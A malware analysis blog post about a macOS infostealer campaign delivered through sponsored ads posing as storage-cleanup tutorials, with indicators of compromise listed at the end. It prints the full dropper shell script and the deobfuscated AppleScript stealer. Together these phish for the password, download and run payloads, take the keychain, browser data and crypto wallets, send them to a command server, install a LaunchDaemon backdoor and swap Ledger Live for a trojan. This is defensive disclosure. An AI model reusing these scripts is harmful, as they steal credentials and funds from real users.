New Malware campaign on MacOS
Malicious sponsored Google ads, as fake tutorials to clean up your mac storage.
Attack Flow

Background Story
In the shady afternoon, after I prayed, I Opened my laptop and saw that it was running low on storage capacity. As someone who likes everything free (Open-Source Enthusiast, xD), I search in the internet about how to clean up my storage on my laptop.

And then, I found some interesting article on the top of my search.

Things that surprised me and made me laugh a little appeared.

It’s a bit ridiculous that it’s on a website. I thought like is it possible for a company to shows such a blog like that. My first steps is validating that domain.

There is nothing suspicious with that domain, but when Im checking the details page, it shows that this link’s final destination is in the malicious link.

And you can see the result in virustotal for the final URL in here. Also im visiting the other page of the website, and its totally typosquatting.
Typosquatting, also known as URL hijacking, is a type of cyberattack where attackers register domain names that are intentionally misspelled versions of popular websites. The goal is to trick users who make common typographical errors when typing website addresses into their browsers, leading them to the attacker’s fraudulent website.
Digging into what’s really going on
Back to that suspicious article, Im decode that base64
echo aHR0cHM6Ly91em5iaHcuY29tL1QvNDU2OC5zaA== | base64 -d
https://uznbhw.com/T/4568.shDownloaded safely for that file, There is nothing encoded or encrypted with something, its just a plain shell script, with the malicious action.
#!/bin/bash
username=$(whoami)while true; do
echo -n "System Password: "
read password
echo if dscl . -authonly "$username" "$password" >/dev/null 2>&1; then
echo -n "$password" > /tmp/.pass
break
else
echo "Incorrect password! Try again."
fi
donecurl -o /tmp/update https://adrianfrieg.com/go/update >/dev/null 2>&1
echo "$password" | sudo -S xattr -c /tmp/update >/dev/null 2>&1
chmod +x /tmp/update
/tmp/updateos=$(uname -s)
version=$(sw_vers -productVersion 2>/dev/null || echo "Unknown")
lang=$(defaults read -g AppleLocale 2>/dev/null || echo "Unknown")
lecurl -s -X POST https://uznbhw.com/execute \
-H "Content-Type: application/json" \
-d '{
"os": "'"$os"'",
"version": "'"$version"'",
"lang": "'"$lang"'",
"website": "cube-teams.com",
"id": "4568",
"name": "PAGE_NAME"
}' >/dev/null 2>&1At first, it will store your username and ask for your password, it will loop until you entered your correct password. After that, it will downloaded another file, called update, saved in /tmp/update . That password will used to give the attackers root access and use xattr to remove com.apple.quarantine attributes.
xattr com.apple.quarantinecommand causes the OS to skip the malware check for the file specified; it normally gets removed if it doesn’t find any in it. Running it should only be done if the computer falsely detects some and it’s from a trusted source.
After that, the shell script tells the computer that this program allow to be executed use chmod + x /tmp/update , and finally the program is executed. And at the end of the script, it gathers OS, version, language to tailor attacks or evasion methods. It also likely to track for which campaign resulted in infection. In this case, the website and id’s most likely to track for which campaign resulted in infection.
Going deeper and deeper
After successfuly download the update file, I uploaded it in virustotal with this result.

File Information

Thats a big sign that this is a serious malware. The malware is highly obfuscated with some operations such as XOR, Mersenne Twister PRNG (MT19937), and other complex mathematic operations.
Move to my Hex-Rays IDA, I start to pinpoint some essential function with their task.

The payloads is hard to be decoded to plain, because the highly obfuscated and PRNG operations make me almost impossible to statically analyze.
Back in the virustotal, the first interaction from the malware to the shell is
osascript -e set memData to do shell script "system_profiler SPMemoryDataType"set hardwareData to do shell script "system_profiler SPHardwareDataType"if memData contains "QEMU" or memData contains "VMware" or memData contains "KVM" or hardwareData contains "Z31FHXYQ0J" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" or hardwareData contains "Chip: Unknown" or hardwareData contains "Intel Core 2" then set exitCode to 100 else set exitCode to 0 end if do shell script "exit " & exitCodeThat’s indicate thats the attacker didn’t want to his program is executed in virtualization or suspicious environment. And that’s one of the payloads.

Patching the binary
At this moment, Im already a little stuck. Ask my friends, he have an idea to patch the binary to bypassing the anti-vm.


But its nothing, it still can’t help, I think Im lost now. Also, this was my first time analyzing and seeing a real malware in my life. Im out for this like 4–5 hour to take a break.
Reckless Action
Im back in front of my laptop with fresh mind, but with wild action. We know that if we run manually (not use shell script) in terminal and the executable trying to access some directory, it will need our permission. So, I run that malware and wait to ask for permission appear with seeing the process running use ps aux . Apparently, the payload created by the attacker is not too good to hide. When the ask for permission appear, all the payload is recorded in process too (I think the payload appear for ask permission is just the starting payload to give this malware permission).

So, after i copying the payload, Im rejected the permission and kill all malicious process in my laptops, and its controlled and safe.
Lets move to analyze the real payloads the attacker want to execute. I already cleared the payload so it easy to read. This is the osascript the attackers create.
set release to true
set filegrabbers to truetell application "Terminal" to set visible of the front window to falseon filesizer(paths)
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizeron mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdiron writeText(textToWrite, filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set folderPath to text 1 thru -(lastSlash + 1) of filePath mkdir(folderPath) set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeTexton readwrite(path_to_file, path_as_save)
try
set lastSlash to offset of "/" in (reverse of every character of path_as_save) as string
set folderPath to text 1 thru -(lastSlash + 1) of path_as_save mkdir(folderPath) do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwriteon installBot(profile, pwd, botUrl)
try
set listContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>com.finder.helper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>" & profile & "/.agent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>"
set botPath to (quoted form of (profile & "/.helper"))
do shell script "curl -o " & botPath & " https://" & botUrl & "/zxc/app"
do shell script "chmod +x " & botPath set scriptContent to "while true; do
osascript <<EOF
set loginContent to do shell script \"stat -f \\\"%Su\\\" /dev/console\"
if loginContent is not equal to \"\" and loginContent is not equal to \"root\"
do shell script \"sudo -u \" & quoted form of loginContent & \" " & (quoted form of (profile & "/.helper")) & "\"
end if
EOF
sleep 1
done"
set scriptPath to profile & "/.agent"
writeText(scriptContent, scriptPath)
writeText(listContent, "/tmp/starter")
do shell script "chmod +x " & quoted form of scriptPath do shell script "echo " & quoted form of pwd & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist" end try
end installBoton replaceApp(pr, pass, appUrl)
try
set appPath to "/Applications/Ledger Live.app" list folder POSIX file appPath do shell script "curl https://" & appUrl & "/zxc/app.zip -o /tmp/app.zip" try
do shell script "pkill \"Ledger Live\""
end try do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath
delay 1 do shell script "unzip /tmp/app.zip -d /Applications"
delay 1 do shell script "rm /tmp/app.zip" end try
end replaceAppon checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalidon getpwd(username, writemind)
try
repeat
set result to display dialog "Required Application Helper.
Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "pwd")
return password_entered
end if
end repeat
end try
return ""
end getpwdon GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "journals"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if (do shell script "file -b " & quoted form of itemPath) ends with "directory" then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolderon chromium(writemind, chromium_map)
set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "..."}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"} repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
end repeat
end if
end repeat
end try
end repeat
end chromiumon deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwalletson filegrabber(writemind)end filegrabberon send_data(attempt, gate, login, buildid, cl, cn)
try
set result_send to (do shell script "curl -X POST -H \"user: " & login & "\" -H \"BuildID: " & buildid & "\" -H \"cl: " & cl & "\" -H \"cn: " & cn & "\" -F \"file=@/tmp/out.zip\" " & gate & "/contact")
on error
if attempt < 15 then
delay 60
send_data(attempt + 1, gate, login, buildid, cl, cn)
end if
end try
end send_dataset username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end tryset password_entered to getpwd(username, writemind)set library to profile & "/Library/Application Support/"
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"... many more browsers ..."}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"... many more wallets ..."}}readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
filegrabber(writemind)
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip" set login to "qS9BIxVxidCHywQHygxfP/MXx4LC4sR-UO3BCs179mU="
set buildid to "g6WoVPQuDsPBdi5d7yBMCujfJkLffgGMb8jEkJK-oc8="
set gate to "http://45.94.47.144"
set botUrl to "halesmp.com"
send_data(0, gate, login, buildid, "0", "0")replaceApp(profile, password_entered, botUrl)
installBot(profile, password_entered, botUrl)do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"There is some key malicious components.

So, the flow is first, it will pop a window for the victim to give their password for the beginning of the attack. Then, it will travels in victim’s computer to collect all data and compress it. Then the data will send back to the attackers. Along with that, the attacker plants a backdoor as a shortcut for them to access the victim’s computer again.
Layered Malware
I already mention that its not just one straight attack, the first malware stealing and drop another malware in victims computer. I grab the new malware based on that payload above, and upload it in VirusTotal.


I notice that the first submission for this file is when Im upload this file. So that means that this malware is new and need to be analyzed further immediately.
Lesson Learned
If you looking for something free, the internet its always have it. But dont let you be ignorant and not check on it. Always be careful in doing everything on the internet.
Just because the internet feels limitless doesn’t mean our actions should be careless.
Suggestion
Sharing what we uncover about new malware isn’t just helpful — it’s a vital part of staying ahead in the fight against evolving cyber threats. Also, it will be very helpful if you want to continues for this findings.
IoCs
update (Mach-O): b69072b11af4a213a048b171933193330e368f25662d330056d825089680d610 SHA256
app (Mach-O):
b4858bb826e942864094b05f7f92cfa22a5323b1e7240509b0f9e9defd5db47a SHA256
Domain related to update: adrianfrieg[dot]com, uznbhw[dot]com , cube-team[dot]com
Domain related to app: halesmp[dot]com
C2 IP Server related to app: 45.94.47.144
Persistence file: /Library/LaunchDaemons/com.finder.helper.plist
Backdoor executable: /Users/[your_username]/.agent, /Users/[your_username]/.helper
Targeted apps for trojan replacement: /Applications/Ledger Live.app
Last updated